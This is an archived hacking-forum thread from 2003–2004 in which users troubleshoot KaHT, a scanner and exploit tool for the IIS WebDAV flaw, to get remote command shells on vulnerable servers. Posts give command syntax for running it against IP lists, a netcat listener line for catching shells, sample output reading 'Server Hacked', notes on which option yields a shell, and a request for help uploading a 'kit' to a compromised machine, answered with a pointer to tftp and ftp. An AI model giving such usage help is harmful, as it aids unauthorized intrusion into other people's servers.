NoThiNG
May 30 2003, 03:08 PM
hello sorry im french so my english not very well ^^
what represent my port in kaht ? i open nc in port 53 but when he scan he tall me :
Error binding port..
someone can help me ??
thx !
GAN_GR33N
May 31 2003, 01:59 AM
if you are asking about the syntax it depends on your ip address
for example if your ip address is 192.1.1.2 and you set up a listening port on 53 you would do
kaht targetip 192.1.1.2 53
but i would recommend wedavin here
http://www.governmentsecurity.org/forum/in...ct=ST&f=19&t=85good luck
NoThiNG
May 31 2003, 12:01 PM
ok thx a lot i will test it
VincentVega
Jun 29 2003, 08:32 PM
Hello there,
i am getting the same error, and i know for sure i type in the command correctly?
Error binding port, after it checked for webdav enabled servers
Please anyone help me
Greetz VV
GSecur
Jul 7 2003, 02:59 PM
Just because a machine has webdav enabled does not mean it is vulnerable to current exploits. It's pretty much hit or miss.
jurk-off
Jul 8 2003, 02:51 PM
this is the right nc command if ya still need it

nc -l -vv -p 666
(666 is my spawn port)
LilJon
Jul 15 2003, 05:55 PM
webdav exploits
are mostly
all patched
because the quickness of ms telling of the exploit
beardednose
Jul 15 2003, 06:22 PM
I'm not so sure of that; most folks I know don't keep up on any patches. Even the "critical" ones are put off on some systems--"can't do maintenance on that system, it's just too critical"--until it crashes or gets infected.
BraiNFluiD
Jul 18 2003, 12:32 AM
kaht did the same to me but it was because i forgot i had netcat listenning on the port i was trying to use with kaht, so make sure nothing else is bound to that port when u use kaht
Jurojin
Jul 30 2003, 01:40 PM
Hey, Ive recently been using Kaht, however it seems whenever im sucessful at getting into a machine and exit, I cannot reconnect and the system seems to shut down IIS (port 80 isn't open), even though I have not installed any kind of patch. I just get a "Failed to Connect" error if I try the code again in Kaht, any Idea's ??
bboybojo
Sep 29 2003, 03:59 PM
when using kaht, this has happened:
[+] Trying Ip: 10.0.0.0 Ret=0x00d000d0
[+] Incoming Conection from 10.0.0.0 accepted
[+] Closing Conection from 10.0.0.0. Server Hacked O:-)
i used the command (1.2.3.4 is my ip, i want to drop shell to port 53, and use ip's from ip.txt)
| CODE |
| kaht 1.2.3.4 53 1 -ip.txt |
did i type something incorrectly?
TuT
Apr 13 2004, 01:15 PM
Ok i found a VULNERABLE server with KaHT, then i enter the Shell only now i need to get the CMD's to upload my kit to the Box somehow everything i tried isn't working

is there some-one who can tell me what to do?
Thnx,
TuTmAsTeR
Killaloop
Apr 13 2004, 01:39 PM
| QUOTE (TuT @ Apr 13 2004, 01:15 PM) |
Ok i found a VULNERABLE server with KaHT, then i enter the Shell only now i need to get the CMD's to upload my kit to the Box somehow everything i tried isn't working is there some-one who can tell me what to do?
Thnx, TuTmAsTeR |
yes
disconnect from the shell, shut down your pc and buy a book.
maybe this will help since your question is somewhat ..
you have to learn basics first:
cmd prompt commands
syntax for tftp
syntax for ftp
other ways to transfer your files
KaHts sends you a cmdshell so all you need is a little brainpower
I wouldn't hack anyone at your present state...would be better for you
LittleHacker
Apr 13 2004, 07:41 PM
any one may tell more about kaht (usage)
101
Apr 13 2004, 10:15 PM
kaht doesnt need a listener , it already include his listener......
thats why when u setup a netcat listening on 666, kaht will return an error cos
he can't setup his listener on 666 already used by your netcat.
also , do not use it with the 1 option, if u want a shell it's 0.
original text by at4r
| CODE |
0: on remote connection send script from requests.txt 1: YOU WILL HAVE A SHELL Until "exit" is typed. after this, scan will continue
|
is wrong.
fuxored a lot b4 with , at4r proggy rock ;P
juju_browser
Apr 15 2004, 08:31 AM
Hi !
I prefer Kaht.
Bye
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please
click here.